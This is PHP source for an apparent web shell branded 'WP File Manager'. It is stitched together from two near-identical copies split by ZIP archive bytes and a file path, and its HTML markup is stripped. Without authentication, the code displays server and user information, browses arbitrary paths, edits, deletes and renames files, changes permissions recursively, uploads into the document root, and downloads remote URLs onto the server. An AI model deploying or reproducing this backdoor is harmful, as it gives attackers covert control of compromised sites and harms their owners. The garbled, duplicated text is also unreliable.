'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
"; if(is_writable("$lokasi/$file")) echo ''; elseif(!is_readable("$lokasi/$file")) echo ''; echo statusnya("$lokasi/$file"); if(is_writable("$lokasi/$file") || !is_readable("$lokasi/$file")) echo ''; echo "
\" />
'; author(); function statusnya($file){ $statusnya = fileperms($file); if (($statusnya & 0xC000) == 0xC000) { $ingfo = 's'; } elseif (($statusnya & 0xA000) == 0xA000) { $ingfo = 'l'; } elseif (($statusnya & 0x8000) == 0x8000) { $ingfo = '-'; } elseif (($statusnya & 0x6000) == 0x6000) { $ingfo = 'b'; } elseif (($statusnya & 0x4000) == 0x4000) { $ingfo = 'd'; } elseif (($statusnya & 0x2000) == 0x2000) { $ingfo = 'c'; } elseif (($statusnya & 0x1000) == 0x1000) { $ingfo = 'p'; } else { $ingfo = 'u'; } // Owner $ingfo .= (($statusnya & 0x0100) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0080) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0040) ? (($statusnya & 0x0800) ? 's' : 'x' ) : (($statusnya & 0x0800) ? 'S' : '-')); // Group $ingfo .= (($statusnya & 0x0020) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0010) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0008) ? (($statusnya & 0x0400) ? 's' : 'x' ) : (($statusnya & 0x0400) ? 'S' : '-')); // World $ingfo .= (($statusnya & 0x0004) ? 'r' : '-'); $ingfo .= (($statusnya & 0x0002) ? 'w' : '-'); $ingfo .= (($statusnya & 0x0001) ? (($statusnya & 0x0200) ? 't' : 'x' ) : (($statusnya & 0x0200) ? 'T' : '-')); return $ingfo; } ?>PK‘&{]qÜd©Ë©Ëgazetufm/kl.phpnu„[µü¤ kllllllXXXchudiXX

NONE"; } else { $disf = "".$disfunc.""; } function author() { echo "

WP File Manager
"; exit(); } function cekdir() { if (isset($_GET['path'])) { $lokasi = $_GET['path']; } else { $lokasi = getcwd(); } if (is_writable($lokasi)) { return "Writable"; } else { return "Not Writable"; } } function cekroot() { if (is_writable($_SERVER['DOCUMENT_ROOT'])) { return "Writable"; } else { return "Not Writable"; } } function xrmdir($dir) { $items = scandir($dir); foreach ($items as $item) { if ($item === '.' || $item === '..') { continue; } $path = $dir.'/'.$item; if (is_dir($path)) { xrmdir($path); } else { unlink($path); } } rmdir($dir); } function green($text) { echo "
".$text."
"; } function red($text) { echo "
".$text."
"; } function yellow($text) { echo "
".$text."
"; } // Helper function to format file size function formatSize($size) { $units = ['B', 'KB', 'MB', 'GB', 'TB']; $i = 0; while ($size >= 1024 && $i < count($units) - 1) { $size /= 1024; $i++; } return round($size, 2) . ' ' . $units[$i]; } // Function to get file extension with icon function getFileIcon($filename) { $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $icons = [ 'php' => '🐘', 'html' => '🌐', 'css' => '🎨', 'js' => '📜', 'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📄', 'doc' => '📝', 'docx' => '📝', 'txt' => '📃', 'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', 'mp3' => '🎵', 'mp4' => '🎬', 'avi' => '🎬', 'mkv' => '🎬', 'exe' => '⚙️', 'msi' => '⚙️', 'sql' => '🗄️', 'xml' => '📋', 'json' => '📋', 'log' => '📋', 'htaccess' => '⚙️' ]; return isset($icons[$ext]) ? $icons[$ext] : '📄'; } // Function to get permission name function getPermissionName($perms) { $names = [ '0644' => 'File (644) - Read/Write for owner, Read for others', '0755' => 'Directory (755) - Read/Write/Execute for owner, Read/Execute for others', '0640' => 'File (640) - Read/Write for owner, Read for group', '0664' => 'File (664) - Read/Write for owner and group, Read for others', '0777' => 'All permissions (777) - Read/Write/Execute for everyone', '0600' => 'File (600) - Read/Write for owner only', '0700' => 'Directory (700) - Read/Write/Execute for owner only', '0750' => 'Directory (750) - Read/Write/Execute for owner, Read/Execute for group', '0660' => 'File (660) - Read/Write for owner and group only', ]; return isset($names[$perms]) ? $names[$perms] : 'Custom permission'; } // WordPress-like editor with syntax highlighting function wpEditor($file_path, $content = '') { $file_info = pathinfo($file_path); $file_ext = isset($file_info['extension']) ? strtolower($file_info['extension']) : ''; $file_name = basename($file_path); // Get language for editor $lang = 'plaintext'; $syntax_exts = [ 'php' => 'php', 'html' => 'html', 'htm' => 'html', 'css' => 'css', 'js' => 'javascript', 'json' => 'json', 'xml' => 'xml', 'sql' => 'sql', 'txt' => 'plaintext', 'log' => 'plaintext', 'htaccess' => 'apache' ]; if (isset($syntax_exts[$file_ext])) { $lang = $syntax_exts[$file_ext]; } $is_binary = false; $binary_exts = ['jpg', 'jpeg', 'png', 'gif', 'pdf', 'zip', 'rar', 'exe', 'mp3', 'mp4', 'avi', 'mkv', 'bmp', 'ico', 'webp']; if (in_array($file_ext, $binary_exts)) { $is_binary = true; } $html = '
'; $html .= '
'; $html .= '

📝 Edit File: ' . htmlspecialchars($file_name) . '

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($file_path) . ''; $html .= '📊 Size: ' . formatSize(filesize($file_path)) . ''; $html .= '📝 Type: ' . strtoupper($file_ext ?: 'Plain Text') . ' ' . $lang . ''; $html .= '🔒 Perm: ' . substr(sprintf('%o', fileperms($file_path)), -4) . ''; $html .= '
'; if ($is_binary) { $html .= '
'; $html .= '⚠️ This is a binary file and cannot be edited in the text editor.
'; $html .= 'View File'; $html .= '
'; $html .= '
'; return $html; } $html .= '
'; $html .= ' Saved'; $html .= 'Lines: ' . substr_count($content, "\n") . ' | Characters: ' . strlen($content) . ''; $html .= '
'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; $html .= ''; // JavaScript for editor $html .= ''; return $html; } // CHMOD Interface function chmodInterface($path, $is_dir = false) { $current_perms = substr(sprintf('%o', fileperms($path)), -4); $perms_array = str_split($current_perms); $html = '
'; $html .= '
'; $html .= '

🔒 Change Permissions

'; $html .= '
'; $html .= '
'; $html .= '📁 Path: ' . htmlspecialchars($path) . ''; $html .= '📂 Type: ' . ($is_dir ? 'Directory' : 'File') . ''; $html .= '🔒 Current Perm: ' . $current_perms . ' (' . getPermissionName($current_perms) . ')'; $html .= '
'; $html .= '
'; $html .= ''; $html .= ''; $html .= ''; // Permission Grid $html .= '
'; $html .= '
'; $html .= '
Read
'; $html .= '
Write
'; $html .= '
Execute
'; $rows = [ 'owner' => 'Owner', 'group' => 'Group', 'world' => 'Public' ]; $perm_bits = [ 'owner' => ['r' => 4, 'w' => 2, 'x' => 1], 'group' => ['r' => 4, 'w' => 2, 'x' => 1], 'world' => ['r' => 4, 'w' => 2, 'x' => 1] ]; $perm_values = [ 'owner' => intval($perms_array[0]), 'group' => intval($perms_array[1]), 'world' => intval($perms_array[2]) ]; foreach ($rows as $key => $label) { $html .= '
' . $label . '
'; $value = $perm_values[$key]; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; $html .= '
'; $html .= ''; $html .= '
'; } $html .= '
'; // Presets $html .= '
'; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= ''; $html .= '
'; // Numeric input $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; // Recursive option for directories if ($is_dir) { $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; } $html .= '
'; $html .= ''; $html .= ''; $html .= '
'; $html .= '
'; $html .= '
'; // JavaScript for CHMOD interface $html .= ''; return $html; } echo "Server : ".$_SERVER['SERVER_SOFTWARE']."
"; echo "System : ".php_uname()."
"; echo "User : ".@get_current_user()." ( ".@getmyuid().")
"; echo "PHP Version : ".@phpversion()."
"; echo "Disable Function : ".$disf."
"; echo "Directory :  "; foreach($_POST as $key => $value){ $_POST[$key] = stripslashes($value); } if(isset($_GET['path'])){ $lokasi = $_GET['path']; $lokdua = $_GET['path']; } else { $lokasi = getcwd(); $lokdua = getcwd(); } $lokasi = str_replace('\\','/',$lokasi); $lokasis = explode('/',$lokasi); $lokasinya = @scandir($lokasi); foreach($lokasis as $id => $lok){ if($lok == '' && $id == 0){ $a = true; echo '/'; continue; } if($lok == '') continue; echo ''.$lok.'/'; } echo '
'; echo '

'; // ============================================ // CREATE FILE/FOLDER FUNCTIONALITY // ============================================ if (isset($_POST['create_action'])) { if ($_POST['create_action'] == 'file') { $new_file = $lokasi . '/' . $_POST['new_filename']; if (file_exists($new_file)) { red("File already exists!"); } else { if (file_put_contents($new_file, $_POST['file_content'] ?? '') !== false) { chmod($new_file, 0644); green("File created successfully! " . htmlspecialchars($_POST['new_filename']) . ""); } else { red("Failed to create file! Check permissions."); } } } elseif ($_POST['create_action'] == 'folder') { $new_folder = $lokasi . '/' . $_POST['new_foldername']; if (file_exists($new_folder)) { red("Folder already exists!"); } else { if (mkdir($new_folder, 0755)) { green("Folder created successfully! " . htmlspecialchars($_POST['new_foldername']) . ""); } else { red("Failed to create folder! Check permissions."); } } } } // ============================================ // CHMOD FUNCTIONALITY (UPDATED) // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "ubahmod") { $chmod_path = $_POST['path']; $is_dir = is_dir($chmod_path); // Handle CHMOD submission if (isset($_POST['chm0d']) && isset($_POST['perm'])) { $perm = $_POST['perm']; $recursive = isset($_POST['recursive']) && $_POST['recursive'] == 1; // Validate permission if (strlen($perm) == 3 || strlen($perm) == 4) { $perm = substr($perm, -3); $perm_octal = octdec($perm); if ($is_dir && $recursive) { // Recursive chmod $success = true; $count = 0; $iterator = new RecursiveIteratorIterator( new RecursiveDirectoryIterator($chmod_path, RecursiveDirectoryIterator::SKIP_DOTS), RecursiveIteratorIterator::SELF_FIRST ); foreach ($iterator as $item) { if (@chmod($item->getPathname(), $perm_octal)) { $count++; } else { $success = false; } } if ($success) { green("✅ Permissions changed successfully for " . $count . " items in " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { yellow("⚠️ Permissions changed for " . $count . " items, but some failed. Check permissions."); } } else { // Single file/directory chmod if (@chmod($chmod_path, $perm_octal)) { green("✅ Permissions changed successfully for " . htmlspecialchars($chmod_path) . " to " . $perm . ""); } else { red("❌ Failed to change permissions for " . htmlspecialchars($chmod_path)); } } } else { red("❌ Invalid permission format. Please use 3 or 4 digit octal (e.g., 644, 755)"); } } // Display CHMOD interface echo chmodInterface($chmod_path, $is_dir); echo '
← Back to Directory'; author(); } // ============================================ // IMPROVED UPLOAD SECTION WITH OVERWRITE // ============================================ if (isset($_POST['upwkwk'])) { $upload_dir = $lokasi; if (isset($_POST['dirnya']) && $_POST['dirnya'] == "2") { $upload_dir = $_SERVER['DOCUMENT_ROOT']; } // Handle file upload from local machine if (isset($_FILES['berkas']) && $_FILES['berkas']['error'] == UPLOAD_ERR_OK) { $uploaded_file = $_FILES['berkas']; if ($uploaded_file['error'] !== UPLOAD_ERR_OK) { $error_messages = [ UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize', UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE', UPLOAD_ERR_PARTIAL => 'File was only partially uploaded', UPLOAD_ERR_NO_FILE => 'No file was uploaded', UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder', UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk', UPLOAD_ERR_EXTENSION => 'File upload stopped by extension', ]; red("Upload Error: " . ($error_messages[$uploaded_file['error']] ?? 'Unknown error')); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { // Get the original filename $filename = $uploaded_file['name']; // Remove special characters for safety $filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $filename); $destination = $upload_dir . '/' . $filename; // Check if file exists and show overwrite warning $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize($uploaded_file['size']); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } // Move uploaded file (overwrite if exists) if (move_uploaded_file($uploaded_file['tmp_name'], $destination)) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ File uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to move uploaded file. Check permissions."); } } } } // Handle remote URL upload elseif (isset($_POST['linknya']) && !empty($_POST['darilink'])) { if (empty($_POST['namalink'])) { red("Filename cannot be empty!"); } else { $remote_filename = $_POST['namalink']; $remote_filename = preg_replace('/[^a-zA-Z0-9_\-.]/', '_', $remote_filename); $remote_content = @file_get_contents($_POST['darilink']); if ($remote_content === false) { red("Failed to fetch remote file. Check URL is accessible."); } else { if (!is_writable($upload_dir)) { red("Upload directory is not writable: " . $upload_dir); } else { $destination = $upload_dir . '/' . $remote_filename; // Check if file exists $overwrite_msg = ''; if (file_exists($destination)) { $old_size = formatSize(filesize($destination)); $new_size = formatSize(strlen($remote_content)); $overwrite_msg = "
⚠️ File already exists! Overwriting...
Old size: " . $old_size . " → New size: " . $new_size; } if (file_put_contents($destination, $remote_content) !== false) { chmod($destination, 0644); $file_size = formatSize(filesize($destination)); $msg = "✅ Remote file uploaded successfully! " . $overwrite_msg . "
📄 File: " . htmlspecialchars($remote_filename) . "
📊 Size: " . $file_size . "
📁 Path: " . htmlspecialchars($destination); green($msg); } else { red("Failed to save remote file. Check directory permissions."); } } } } } else { red("No file selected or file upload failed."); } } // ============================================ // WORDPRESS-LIKE FILE EDITOR // ============================================ if (isset($_GET['pilihan']) && $_POST['pilih'] == "edit") { $file_path = $_POST['path']; // Handle file save if (isset($_POST['gasedit']) && isset($_POST['src'])) { $content = $_POST['src']; // Check if content is different $old_content = file_exists($file_path) ? file_get_contents($file_path) : ''; if ($content === $old_content) { green("ℹ️ No changes detected. File saved as is."); } else { if (file_put_contents($file_path, $content) !== false) { green("✅ File saved successfully! View File"); } else { red("❌ Failed to save file! Check permissions."); } } } // Display editor $file_content = file_exists($file_path) ? file_get_contents($file_path) : ''; echo wpEditor($file_path, $file_content); echo '
← Back to Directory'; // Continue after edit view author(); } // Handle delete from editor if (isset($_GET['delete'])) { $delete_file = $_GET['delete']; if (file_exists($delete_file)) { if (unlink($delete_file)) { green("🗑️ File deleted successfully!"); } else { red("Failed to delete file!"); } } // Redirect back to directory echo ''; author(); } // ============================================ // DISPLAY UPLOAD AND CREATE FORMS // ============================================ echo "
"; echo "
"; // Create File/Folder Form echo '
'; echo '📁 Create New:
'; echo '
'; echo ' '; echo ' '; echo ''; echo ''; echo '
'; echo '
'; echo ' '; echo ''; echo ''; echo '
'; echo '
'; // Upload Form echo '
'; echo '⬆️ Upload File:
'; echo '
'; echo ' Current Dir [ ' . cekdir() . ' ] '; echo ' Root [ ' . cekroot() . ' ]
'; echo ''; echo ''; echo ''; echo '

OR Upload from URL:
'; echo 'URL: '; echo ' Save as: '; echo ''; echo '
'; echo '
'; echo "
"; echo "
"; echo "

"; // ============================================ // FILE VIEWER // ============================================ if (isset($_GET['fileloc'])) { $file_path = $_GET['fileloc']; echo ""; echo "
"; echo "

📄 File: " . htmlspecialchars(basename($file_path)) . "

"; echo "

Path: " . htmlspecialchars($file_path) . "

"; echo "

Size: " . formatSize(filesize($file_path)) . "

"; echo "

Permissions: " . substr(sprintf('%o', fileperms($file_path)), -4) . "

"; // Check if it's a binary/image file $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $image_exts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'webp', 'svg']; $viewable_exts = ['php', 'html', 'htm', 'css', 'js', 'txt', 'xml', 'json', 'sql', 'log']; if (in_array($ext, $image_exts)) { echo "
"; echo ""; echo "
"; } elseif (in_array($ext, $viewable_exts)) { echo "
";
        echo htmlspecialchars(file_get_contents($file_path));
        echo "
"; } else { echo "
"; echo "⚠️ Binary file - cannot display content
"; echo "Download File"; echo "
"; } echo "
← Back to Directory"; echo " Edit File"; echo " 🔒 Chmod"; echo "
"; echo ""; author(); } // ============================================ // HANDLE OTHER ACTIONS (DELETE, RENAME) // ============================================ elseif (isset($_GET['pilihan'])) { if ($_POST['pilih'] == "hapus") { if (is_dir($_POST['path'])) { xrmdir($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to delete Directory!"); } else { green("Delete Directory Success!"); } } elseif (is_file($_POST['path'])) { @unlink($_POST['path']); if (file_exists($_POST['path'])) { red("Failed to Delete File!"); } else { green("Delete File Success!"); } } } elseif ($_POST['pilih'] == "gantinama") { if (isset($_POST['gantin'])) { $ren = @rename($_POST['path'], $_POST['newname']); if ($ren == true) { green("Change Name Success!"); } else { red("Change Name Failed!"); } } if (empty($_POST['name'])) { $namaawal = $_POST['newname']; } else { $namawal = $_POST['name']; } echo "
" . $_POST['path'] . "
"; echo '
New Name :
'; } } // ============================================ // DISPLAY FILE LISTING // ============================================ echo '
'; // Show directories first foreach($lokasinya as $dir){ if(!is_dir($lokasi."/".$dir) || $dir == '.' || $dir == '..') continue; echo ""; } echo ''; // Show files foreach($lokasinya as $file) { if(!is_file("$lokasi/$file")) continue; $size = filesize("$lokasi/$file")/1024; $size = round($size,3); if($size >= 1024){ $size = round($size/1024,2).' MB'; } else { $size = $size.' KB'; } $icon = getFileIcon($file); echo ""; } echo '
Name
Size
Permissions
Options
📁 " . $dir . "
--
"; if(is_writable($lokasi."/".$dir)) echo ''; elseif(!is_readable($lokasi."/".$dir)) echo ''; echo statusnya($lokasi."/".$dir); if(is_writable($lokasi."/".$dir) || !is_readable($lokasi."/".$dir)) echo ''; echo "
\" />
" . $icon . " " . $file . "
" . $size . "
